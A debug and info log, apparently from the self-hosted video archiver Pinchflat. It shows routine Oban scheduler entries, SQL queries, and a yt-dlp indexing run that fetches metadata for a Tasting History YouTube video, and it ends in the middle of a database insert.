{"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:21.021 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:51.022 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.395 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:21.023 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:51.024 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.396 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:21.025 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:51.026 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.397 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:21.027 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:51.028 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.398 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:09:21.028 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:51.030 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.399 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:10:21.031 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:51.032 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.400 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:11:21.033 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:51.034 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.401 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:12:21.035 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:51.036 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.402 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:13:21.038 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:51.039 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.403 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:14:21.040 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:51.041 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.404 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:15:21.042 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:51.043 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.405 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:16:21.044 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:51.046 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.407 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:17:21.047 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:51.048 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.407 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:18:21.050 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:51.051 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.408 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:19:21.053 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:51.054 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.409 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:20:21.055 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:51.056 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.410 [info] {"source":"oban","duration":327,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:21:21.057 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:51.058 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.411 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:22:21.060 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:51.062 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.412 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:23:21.063 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:51.064 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.413 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:21.065 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:51.065 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.414 [info] {"source":"oban","duration":276,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:21.067 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:51.068 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.415 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:21.069 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:51.070 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.416 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:21.071 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:51.072 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.417 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:21.073 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:51.074 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.418 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:21.075 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:51.077 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.419 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:21.078 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:51.079 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.420 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:21.080 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:51.081 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.421 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:21.082 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:51.083 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.422 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:21.085 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:51.087 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.423 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:21.089 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 02:34:51.090 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.424 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:21.092 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:51.093 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.425 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:36:21.094 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:51.095 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.426 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:37:21.096 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:51.098 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.427 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:38:21.099 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:51.100 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.428 [info] {"source":"oban","duration":324,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:39:21.100 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:51.102 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.429 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:40:21.103 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:51.104 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.431 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:41:21.106 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:51.107 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.432 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:42:21.108 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:51.109 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.432 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:43:21.110 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:51.111 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.433 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:44:21.112 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:51.113 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.434 [info] {"source":"oban","duration":317,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:45:21.114 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:51.116 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.435 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:46:21.117 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:51.118 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.436 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:47:21.119 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:51.120 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.437 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:48:21.121 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:51.122 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.438 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:49:21.123 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:51.124 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.439 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:50:21.125 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:51.126 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.440 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:51:21.127 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:51.128 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.441 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:52:21.129 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:34.940 [info] {"args":{"id":3},"id":1731,"meta":{},"system_time":1775026354940355422,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:52:34.940 [debug] QUERY OK source="sources" db=0.2ms idle=412.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:34.941 [debug] QUERY OK source="settings" db=0.2ms idle=413.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.947 [debug] QUERY OK source="media_items" db=6.0ms idle=413.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:52:34.948 [debug] QUERY OK source="media_items" db=0.3ms idle=14.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:52:34.948 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:34.948 [debug] QUERY OK source="settings" db=0.1ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.949 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.950 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [3] 02:52:34.956 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 02:52:34.956 [debug] Current batch of media processed. Will check again in 1000ms 02:52:34.956 [debug] QUERY OK source="settings" db=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.956 [debug] QUERY OK source="settings" db=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.957 [debug] QUERY OK source="settings" db=0.0ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:34.957 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/71/71/7171fae9cb256f83eb29a370c82f1930393af1610d36eee476bce377baa012e0.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/23/a8/23a858c874be5a05924c998584a287eb6a4b86344bc38fd67bd090f90f3ee0e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:52:35.957 [debug] Current batch of media processed. Will check again in 1000ms 02:52:36.958 [debug] Current batch of media processed. Will check again in 1000ms 02:52:37.959 [debug] Current batch of media processed. Will check again in 1000ms 02:52:38.960 [debug] Current batch of media processed. Will check again in 1000ms 02:52:39.961 [debug] Current batch of media processed. Will check again in 1000ms 02:52:40.962 [debug] Current batch of media processed. Will check again in 1000ms 02:52:41.963 [debug] Current batch of media processed. Will check again in 1000ms 02:52:42.964 [debug] Current batch of media processed. Will check again in 1000ms 02:52:43.965 [debug] Current batch of media processed. Will check again in 1000ms 02:52:44.966 [debug] Current batch of media processed. Will check again in 1000ms 02:52:45.967 [debug] Current batch of media processed. Will check again in 1000ms 02:52:46.968 [debug] Current batch of media processed. Will check again in 1000ms 02:52:47.969 [debug] Current batch of media processed. Will check again in 1000ms 02:52:48.970 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Start speaking a new language in 3 weeks with Babbel 🎉. Get up to 55% OFF ➡️ Here: https://bit.ly/TastingHistoryMarch26\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n#tastinghistory", "duration" => 1183, "filename" => "/downloads/Tasting History with Max Miller/2026-03-31 Making 200-Year-Old Mayonnaise - How has it changed?/Making 200-Year-Old Mayonnaise - How has it changed? [RdZn86fOHqA].mp4", "id" => "RdZn86fOHqA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RdZn86fOHqA", "playlist_index" => 1, "timestamp" => 1774969200, "title" => "Making 200-Year-Old Mayonnaise - How has it changed?", "upload_date" => "20260331"} 02:52:48.971 [debug] QUERY OK source="sources" db=0.1ms idle=443.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:48.971 [debug] QUERY OK source="sources" db=0.1ms idle=443.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:48.973 [debug] QUERY OK source="media_items" db=1.3ms idle=444.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-31 15:00:00Z], 3] 02:52:48.974 [debug] QUERY OK source="media_items" db=1.4ms idle=445.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. Get up to 55% OFF ➡️ Here: https://bit.ly/TastingHistoryMarch26\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: 